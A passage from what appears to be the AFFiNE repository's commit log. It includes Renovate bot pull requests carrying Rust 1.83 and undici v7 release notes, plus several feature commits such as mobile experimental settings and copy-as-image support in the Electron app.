-   [`NonNull::copy_to`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_to)
-   [`NonNull::copy_to_nonoverlapping`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_to_nonoverlapping)
-   [`NonNull::slice_from_raw_parts`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.slice_from_raw_parts)
-   [`NonNull::write`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.write)
-   [`NonNull::write_bytes`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.write_bytes)
-   [`NonNull::write_unaligned`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.write_unaligned)
-   [`OnceCell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.OnceCell.html#method.into_inner)
-   [`Option::as_mut`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.as_mut)
-   [`Option::expect`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.expect)
-   [`Option::replace`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.replace)
-   [`Option::take`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.take)
-   [`Option::unwrap`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.unwrap)
-   [`Option::unwrap_unchecked`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.unwrap_unchecked)
-   [`Option::<&_>::copied`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.copied)
-   [`Option::<&mut _>::copied`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.copied-1)
-   [`Option::<Option<_>>::flatten`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.flatten)
-   [`Option::<Result<_, _>>::transpose`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.transpose)
-   [`RefCell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.RefCell.html#method.into_inner)
-   [`Result::as_mut`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.as_mut)
-   [`Result::<&_, _>::copied`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.copied)
-   [`Result::<&mut _, _>::copied`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.copied-1)
-   [`Result::<Option<_>, _>::transpose`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.transpose)
-   [`UnsafeCell::get_mut`](https://doc.rust-lang.org/stable/core/cell/struct.UnsafeCell.html#method.get_mut)
-   [`UnsafeCell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.UnsafeCell.html#method.into_inner)
-   [`array::from_mut`](https://doc.rust-lang.org/stable/core/array/fn.from_mut.html)
-   [`char::encode_utf8`](https://doc.rust-lang.org/stable/core/primitive.char.html#method.encode_utf8)
-   [`{float}::classify`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.classify)
-   [`{float}::is_finite`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_finite)
-   [`{float}::is_infinite`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_infinite)
-   [`{float}::is_nan`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_nan)
-   [`{float}::is_normal`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_normal)
-   [`{float}::is_sign_negative`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_sign_negative)
-   [`{float}::is_sign_positive`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_sign_positive)
-   [`{float}::is_subnormal`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_subnormal)
-   [`{float}::from_bits`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_bits)
-   [`{float}::from_be_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_be_bytes)
-   [`{float}::from_le_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_le_bytes)
-   [`{float}::from_ne_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_ne_bytes)
-   [`{float}::to_bits`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_bits)
-   [`{float}::to_be_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_be_bytes)
-   [`{float}::to_le_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_le_bytes)
-   [`{float}::to_ne_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_ne_bytes)
-   [`mem::replace`](https://doc.rust-lang.org/stable/core/mem/fn.replace.html)
-   [`ptr::replace`](https://doc.rust-lang.org/stable/core/ptr/fn.replace.html)
-   [`ptr::slice_from_raw_parts_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.slice_from_raw_parts_mut.html)
-   [`ptr::write`](https://doc.rust-lang.org/stable/core/ptr/fn.write.html)
-   [`ptr::write_unaligned`](https://doc.rust-lang.org/stable/core/ptr/fn.write_unaligned.html)
-   [`<*const _>::copy_to`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to)
-   [`<*const _>::copy_to_nonoverlapping`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to_nonoverlapping)
-   [`<*mut _>::copy_from`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_from)
-   [`<*mut _>::copy_from_nonoverlapping`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_from_nonoverlapping)
-   [`<*mut _>::copy_to`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to-1)
-   [`<*mut _>::copy_to_nonoverlapping`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to_nonoverlapping-1)
-   [`<*mut _>::write`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.write)
-   [`<*mut _>::write_bytes`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.write_bytes)
-   [`<*mut _>::write_unaligned`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.write_unaligned)
-   [`slice::from_mut`](https://doc.rust-lang.org/stable/core/slice/fn.from_mut.html)
-   [`slice::from_raw_parts_mut`](https://doc.rust-lang.org/stable/core/slice/fn.from_raw_parts_mut.html)
-   [`<[_]>::first_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.first_mut)
-   [`<[_]>::last_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.last_mut)
-   [`<[_]>::first_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.first_chunk_mut)
-   [`<[_]>::last_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.last_chunk_mut)
-   [`<[_]>::split_at_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_at_mut)
-   [`<[_]>::split_at_mut_checked`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_at_mut_checked)
-   [`<[_]>::split_at_mut_unchecked`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_at_mut_unchecked)
-   [`<[_]>::split_first_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_first_mut)
-   [`<[_]>::split_last_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_last_mut)
-   [`<[_]>::split_first_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_first_chunk_mut)
-   [`<[_]>::split_last_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_last_chunk_mut)
-   [`str::as_bytes_mut`](https://doc.rust-lang.org/stable/core/primitive.str.html#method.as_bytes_mut)
-   [`str::as_mut_ptr`](https://doc.rust-lang.org/stable/core/primitive.str.html#method.as_mut_ptr)
-   [`str::from_utf8_unchecked_mut`](https://doc.rust-lang.org/stable/core/str/fn.from_utf8\_unchecked_mut.html)

<a id="1.83.0-Cargo"></a>

## Cargo

-   [Introduced a new `CARGO_MANIFEST_PATH` environment variable, similar to `CARGO_MANIFEST_DIR` but pointing directly to the manifest file.](https://redirect.github.com/rust-lang/cargo/pull/14404/)
-   [Added `package.autolib` to the manifest, allowing `[lib]` auto-discovery to be disabled.](https://redirect.github.com/rust-lang/cargo/pull/14591/)
-   [Declare support level for each crate in Cargo's Charter / crate docs.](https://redirect.github.com/rust-lang/cargo/pull/14600/)
-   [Declare new Intentional Artifacts as 'small' changes.](https://redirect.github.com/rust-lang/cargo/pull/14599/)

<a id="1.83-Rustdoc"></a>

## Rustdoc

-   [The sidebar / hamburger menu table of contents now includes the `# headers` from the main item's doc comment](https://redirect.github.com/rust-lang/rust/pull/120736). This is similar to a third-party feature provided by the rustdoc-search-enhancements browser extension.

<a id="1.83.0-Compatibility-Notes"></a>

## Compatibility Notes

-   [Warn against function pointers using unsupported ABI strings.](https://redirect.github.com/rust-lang/rust/pull/128784)
-   [Check well-formedness of the source type's signature in fn pointer casts.](https://redirect.github.com/rust-lang/rust/pull/129021) This partly closes a soundness hole that comes when casting a function item to function pointer
-   [Use equality instead of subtyping when resolving type dependent paths.](https://redirect.github.com/rust-lang/rust/pull/129073)
-   Linking on macOS now correctly includes Rust's default deployment target. Due to a linker bug, you might have to pass `MACOSX_DEPLOYMENT_TARGET` or fix your `#[link]` attributes to point to the correct frameworks. See [#&#8203;129369](https://redirect.github.com/rust-lang/rust/pull/129369).
-   [Rust will now correctly raise an error for `repr(Rust)` written on non-`struct`/`enum`/`union` items, since it previous did not have any effect.](https://redirect.github.com/rust-lang/rust/pull/129422)
-   The future incompatibility lint `deprecated_cfg_attr_crate_type_name` [has been made into a hard error](https://redirect.github.com/rust-lang/rust/pull/129670). It was used to deny usage of `#![crate_type]` and `#![crate_name]` attributes in `#![cfg_attr]`, which required a hack in the compiler to be able to change the used crate type and crate name after cfg expansion.
    Users can use `--crate-type` instead of `#![cfg_attr(..., crate_type = "...")]` and `--crate-name` instead of `#![cfg_attr(..., crate_name = "...")]` when running `rustc`/`cargo rustc` on the command line.
    Use of those two attributes outside of `#![cfg_attr]` continue to be fully supported.
-   Until now, paths into the sysroot were always prefixed with `/rustc/$hash` in diagnostics, codegen, backtrace, e.g.

        thread 'main' panicked at 'hello world', map-panic.rs:2:50
        stack backtrace:
           0: std::panicking::begin_panic
                     at /rustc/a55dd71d5fb0ec5a6a3a9e8c27b2127ba491ce52/library/std/src/panicking.rs:616:12
           1: map_panic::main::{{closure}}
                     at ./map-panic.rs:2:50
           2: core::option::Option<T>::map
                     at /rustc/a55dd71d5fb0ec5a6a3a9e8c27b2127ba491ce52/library/core/src/option.rs:929:29
           3: map_panic::main
                     at ./map-panic.rs:2:30
           4: core::ops::function::FnOnce::call_once
                     at /rustc/a55dd71d5fb0ec5a6a3a9e8c27b2127ba491ce52/library/core/src/ops/function.rs:248:5
        note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

    [RFC 3127 said](https://rust-lang.github.io/rfcs/3127-trim-paths.html#changing-handling-of-sysroot-path-in-rustc)

    > We want to change this behaviour such that, when `rust-src` source files can be discovered, the virtual path is discarded and therefore the local path will be embedded, unless there is a `--remap-path-prefix` that causes this local path to be remapped in the usual way.

    [#&#8203;129687](https://redirect.github.com/rust-lang/rust/pull/129687) implements this behaviour, when `rust-src` is present at compile time, `rustc` replaces `/rustc/$hash` with a real path into the local `rust-src` component with best effort.
    To sanitize this, users must explicitly supply `--remap-path-prefix=<path to rust-src>=foo` or not have the `rust-src` component installed.
-   The allow-by-default `missing_docs` lint used to disable itself when invoked through `rustc --test`/`cargo test`, resulting in `#[expect(missing_docs)]` emitting false positives due to the expectation being wrongly unfulfilled. This behavior [has now been removed](https://redirect.github.com/rust-lang/rust/pull/130025), which allows `#[expect(missing_docs)]` to be fulfilled in all scenarios, but will also report new `missing_docs` diagnostics for publicly reachable `#[cfg(test)]` items, [integration test](https://doc.rust-lang.org/cargo/reference/cargo-targets.html#integration-tests) crate-level documentation, and publicly reachable items in integration tests.
-   [The `armv8r-none-eabihf` target now uses the Armv8-R required set of floating-point features.](https://redirect.github.com/rust-lang/rust/pull/130295)
-   [Fix a soundness bug where rustc wouldn't detect unconstrained higher-ranked lifetimes in a `dyn Trait`'s associated types that occur due to supertraits.](https://redirect.github.com/rust-lang/rust/pull/130367)
-   [Update the minimum external LLVM version to 18.](https://redirect.github.com/rust-lang/rust/pull/130487)
-   [Remove `aarch64-fuchsia` and `x86_64-fuchsia` target aliases in favor of `aarch64-unknown-fuchsia` and `x86_64-unknown-fuchsia` respectively.](https://redirect.github.com/rust-lang/rust/pull/130657)
-   [The ABI-level exception class of a Rust panic is now encoded with native-endian bytes, so it is legible in hex dumps.](https://redirect.github.com/rust-lang/rust/pull/130897)
-   [Visual Studio 2013 is no longer supported for MSVC targets.](https://redirect.github.com/rust-lang/rust/pull/131070)
-   [The sysroot no longer contains the `std` dynamic library in its top-level `lib/` dir.](https://redirect.github.com/rust-lang/rust/pull/131188)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-29 01:25:10 +00:00
CatsJuice 71ab75e30e feat(mobile): mobile experimental feature setting (#8922)
close AF-1802

![CleanShot 2024-11-26 at 10.02.27.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/09d24e35-a524-497d-b5aa-840bf74f128f.gif)
2024-11-28 07:25:06 +00:00
akumatus c95e6ec518 feat(core): support copy as image in electron app (#8939)
Close issue [AF-1785](https://linear.app/affine-design/issue/AF-1785).

### What changed?
- Support copy as image in electron app:
  -  Select the whole mindmap if any of the mindmap nodes is selected.
  -  Hide unselected overlap elements before taking a snapshot.
  -  Fit the selected elements to the screen.
  -  Add CSS style to hide irrelevant dom nodes, like widgets, whiteboard background and so on.
     - Due to the usage of Shadow Dom in our code, not all node styles can be controlled. Thus this PR use `-2px` padding for `affine:frame` snapshots.
  - Using electron `capturePage` API to take a snapshot of selected elements.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/c1b7b772-ddf8-4a85-b670-e96af7bd5cc0.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/c1b7b772-ddf8-4a85-b670-e96af7bd5cc0.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/c1b7b772-ddf8-4a85-b670-e96af7bd5cc0.mov">录屏2024-11-27 16.11.03.mov</video>
2024-11-28 03:58:04 +00:00
Saul-Mirone f780316f8b feat: add feature flag for new dnd (#8949) 2024-11-28 03:42:02 +00:00
renovate 2eae89d031 chore: Lock file maintenance (#8768)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on Monday" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43LjEiLCJ1cGRhdGVkSW5WZXIiOiIzOS4xOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2024-11-28 03:26:09 +00:00
renovate 016e2ecdb9 chore: bump up undici version to v7 (#8950)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`^6.12.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/undici/6.21.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/6.21.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/6.21.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nodejs/undici (undici)</summary>

### [`v7.0.0`](https://redirect.github.com/nodejs/undici/releases/tag/v7.0.0)

[Compare Source](https://redirect.github.com/nodejs/undici/compare/v6.21.0...v7.0.0)

#### What's Changed

-   fetch: fix content-encoding order by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3343](https://redirect.github.com/nodejs/undici/pull/3343)
-   Add regression test for broken body by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3346](https://redirect.github.com/nodejs/undici/pull/3346)
-   build(deps): bump node from `075a5cc` to `9af472b` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3355](https://redirect.github.com/nodejs/undici/pull/3355)
-   fix: post request signal by [@&#8203;Gigioliva](https://redirect.github.com/Gigioliva) in [https://github.com/nodejs/undici/pull/3354](https://redirect.github.com/nodejs/undici/pull/3354)
-   Revert "fix: post request signal ([#&#8203;3354](https://redirect.github.com/nodejs/undici/issues/3354))" by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3359](https://redirect.github.com/nodejs/undici/pull/3359)
-   websocket: don't use pooled buffer in mask pool by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3357](https://redirect.github.com/nodejs/undici/pull/3357)
-   fix: consider bytes read when dumping by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3360](https://redirect.github.com/nodejs/undici/pull/3360)
-   refactor: simplify signal handling by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3362](https://redirect.github.com/nodejs/undici/pull/3362)
-   fix: use explicit flag for when use has interacted with stream by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3361](https://redirect.github.com/nodejs/undici/pull/3361)
-   Refactor example documentation structure and add CacheableLookup example by [@&#8203;DarkGL](https://redirect.github.com/DarkGL) in [https://github.com/nodejs/undici/pull/3363](https://redirect.github.com/nodejs/undici/pull/3363)
-   refactor: simplify request error handling by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3364](https://redirect.github.com/nodejs/undici/pull/3364)
-   fix: ensure onConnect is always called by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3327](https://redirect.github.com/nodejs/undici/pull/3327)
-   Refactor responseHeader to responseHeaders by [@&#8203;DarkGL](https://redirect.github.com/DarkGL) in [https://github.com/nodejs/undici/pull/3375](https://redirect.github.com/nodejs/undici/pull/3375)
-   fix: don't override user defined MaxListeners by [@&#8203;fawazahmed0](https://redirect.github.com/fawazahmed0) in [https://github.com/nodejs/undici/pull/3372](https://redirect.github.com/nodejs/undici/pull/3372)
-   fix: forward dispatch return value by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3368](https://redirect.github.com/nodejs/undici/pull/3368)
-   build(deps): bump github/codeql-action from 3.25.7 to 3.25.11 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3382](https://redirect.github.com/nodejs/undici/pull/3382)
-   build(deps): bump codecov/codecov-action from 4.4.1 to 4.5.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3384](https://redirect.github.com/nodejs/undici/pull/3384)
-   build(deps): bump actions/dependency-review-action from 4.3.2 to 4.3.3 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3383](https://redirect.github.com/nodejs/undici/pull/3383)
-   build(deps): bump step-security/harden-runner from 2.8.0 to 2.8.1 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3381](https://redirect.github.com/nodejs/undici/pull/3381)
-   fix: throw on retry when payload is consume by downstream by [@&#8203;climba03003](https://redirect.github.com/climba03003) in [https://github.com/nodejs/undici/pull/3389](https://redirect.github.com/nodejs/undici/pull/3389)
-   Remove file by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3367](https://redirect.github.com/nodejs/undici/pull/3367)
-   build(deps): bump node from `9af472b` to `138d0b5` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3392](https://redirect.github.com/nodejs/undici/pull/3392)
-   feat!: upgrade llhttp to 9.2.0 ([#&#8203;2705](https://redirect.github.com/nodejs/undici/issues/2705)) by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3388](https://redirect.github.com/nodejs/undici/pull/3388)
-   websocket: reduce memory usage by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3393](https://redirect.github.com/nodejs/undici/pull/3393)
-   feat: implement `BodyReadable.bytes` by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3391](https://redirect.github.com/nodejs/undici/pull/3391)
-   websocket: avoid using Buffer.byteLength by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3394](https://redirect.github.com/nodejs/undici/pull/3394)
-   separate whatwg websocket logic from rfc 6455 by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3396](https://redirect.github.com/nodejs/undici/pull/3396)
-   websocket: add fast-path for string input by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3395](https://redirect.github.com/nodejs/undici/pull/3395)
-   Add generic type for opaque object by [@&#8203;jfhr](https://redirect.github.com/jfhr) in [https://github.com/nodejs/undici/pull/3385](https://redirect.github.com/nodejs/undici/pull/3385)
-   build(deps): bump node from `138d0b5` to `67225d4` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3398](https://redirect.github.com/nodejs/undici/pull/3398)
-   interceptors: move throwOnError to interceptor by [@&#8203;mertcanaltin](https://redirect.github.com/mertcanaltin) in [https://github.com/nodejs/undici/pull/3331](https://redirect.github.com/nodejs/undici/pull/3331)
-   chore!: drop interceptors by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3399](https://redirect.github.com/nodejs/undici/pull/3399)
-   build(deps-dev): bump [@&#8203;fastify/busboy](https://redirect.github.com/fastify/busboy) from 2.1.1 to 3.0.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3404](https://redirect.github.com/nodejs/undici/pull/3404)
-   fix: don't call onConnect automatically by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3407](https://redirect.github.com/nodejs/undici/pull/3407)
-   In CITGM, skip tests that are flaky there by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3413](https://redirect.github.com/nodejs/undici/pull/3413)
-   Update esbuild to 0.19.10 by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3415](https://redirect.github.com/nodejs/undici/pull/3415)
-   Fix signature of RetryHandler by [@&#8203;JbIPS](https://redirect.github.com/JbIPS) in [https://github.com/nodejs/undici/pull/3416](https://redirect.github.com/nodejs/undici/pull/3416)
-   docs: fix ToC in CONTRIBUTING.md by [@&#8203;richardlau](https://redirect.github.com/richardlau) in [https://github.com/nodejs/undici/pull/3420](https://redirect.github.com/nodejs/undici/pull/3420)
-   Fix fetch `duplex` docs by [@&#8203;Ethan-Arrowood](https://redirect.github.com/Ethan-Arrowood) in [https://github.com/nodejs/undici/pull/3422](https://redirect.github.com/nodejs/undici/pull/3422)
-   fix: restore externalized Node.js dep compatibility by [@&#8203;richardlau](https://redirect.github.com/richardlau) in [https://github.com/nodejs/undici/pull/3421](https://redirect.github.com/nodejs/undici/pull/3421)
-   fix: cast falsy servername to null to avoid falsy inequality by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3426](https://redirect.github.com/nodejs/undici/pull/3426)
-   Add backport action by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3427](https://redirect.github.com/nodejs/undici/pull/3427)
-   build(deps): bump node from `67225d4` to `858234a` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3411](https://redirect.github.com/nodejs/undici/pull/3411)
-   build(deps): bump github/codeql-action from 3.25.11 to 3.25.15 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3432](https://redirect.github.com/nodejs/undici/pull/3432)
-   build(deps): bump actions/dependency-review-action from 4.3.3 to 4.3.4 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3431](https://redirect.github.com/nodejs/undici/pull/3431)
-   build(deps): bump actions/upload-artifact from 4.3.3 to 4.3.4 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3430](https://redirect.github.com/nodejs/undici/pull/3430)
-   build(deps): bump ossf/scorecard-action from 2.3.3 to 2.4.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3428](https://redirect.github.com/nodejs/undici/pull/3428)
-   build(deps): bump step-security/harden-runner from 2.8.1 to 2.9.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3429](https://redirect.github.com/nodejs/undici/pull/3429)
-   build(deps): bump superagent from 9.0.2 to 10.0.0 in /benchmarks by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3439](https://redirect.github.com/nodejs/undici/pull/3439)
-   build(deps): bump node from `17e6738` to `30c5be9` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3443](https://redirect.github.com/nodejs/undici/pull/3443)
-   docs: use default link of Web Streams API by [@&#8203;trivikr](https://redirect.github.com/trivikr) in [https://github.com/nodejs/undici/pull/3446](https://redirect.github.com/nodejs/undici/pull/3446)
-   fix: increased memory in finalization first appearing in v6.16.0 by [@&#8203;snyamathi](https://redirect.github.com/snyamathi) in [https://github.com/nodejs/undici/pull/3445](https://redirect.github.com/nodejs/undici/pull/3445)
-   test: add test for memory leak by [@&#8203;snyamathi](https://redirect.github.com/snyamathi) in [https://github.com/nodejs/undici/pull/3450](https://redirect.github.com/nodejs/undici/pull/3450)
-   build: parametrize the location of wasm-opt by [@&#8203;khardix](https://redirect.github.com/khardix) in [https://github.com/nodejs/undici/pull/3454](https://redirect.github.com/nodejs/undici/pull/3454)
-   test: streamline test scripts in regard of without-intl and run more tests for without-intl case by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3453](https://redirect.github.com/nodejs/undici/pull/3453)
-   feat!: drop throwOnError by [@&#8203;metcoder95](https://redirect.github.com/metcoder95) in [https://github.com/nodejs/undici/pull/3451](https://redirect.github.com/nodejs/undici/pull/3451)
-   types: allow non strict HTTPMethod by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3457](https://redirect.github.com/nodejs/undici/pull/3457)
-   build(deps-dev): bump borp from 0.15.0 to 0.17.0 by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3424](https://redirect.github.com/nodejs/undici/pull/3424)
-   remove core isErrored and isReadable by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3459](https://redirect.github.com/nodejs/undici/pull/3459)
-   use bodyUnusable to check if body is unusable by [@&#8203;KhafraDev](https://redirect.github.com/KhafraDev) in [https://github.com/nodejs/undici/pull/3460](https://redirect.github.com/nodejs/undici/pull/3460)
-   perf: non-recursive implementation of euclidian gcd in balanced pool by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3461](https://redirect.github.com/nodejs/undici/pull/3461)
-   fix: do validation first before actual business logic, like super() by [@&#8203;Uzlopak](https://redirect.github.com/Uzlopak) in [https://github.com/nodejs/undici/pull/3463](https://redirect.github.com/nodejs/undici/pull/3463)
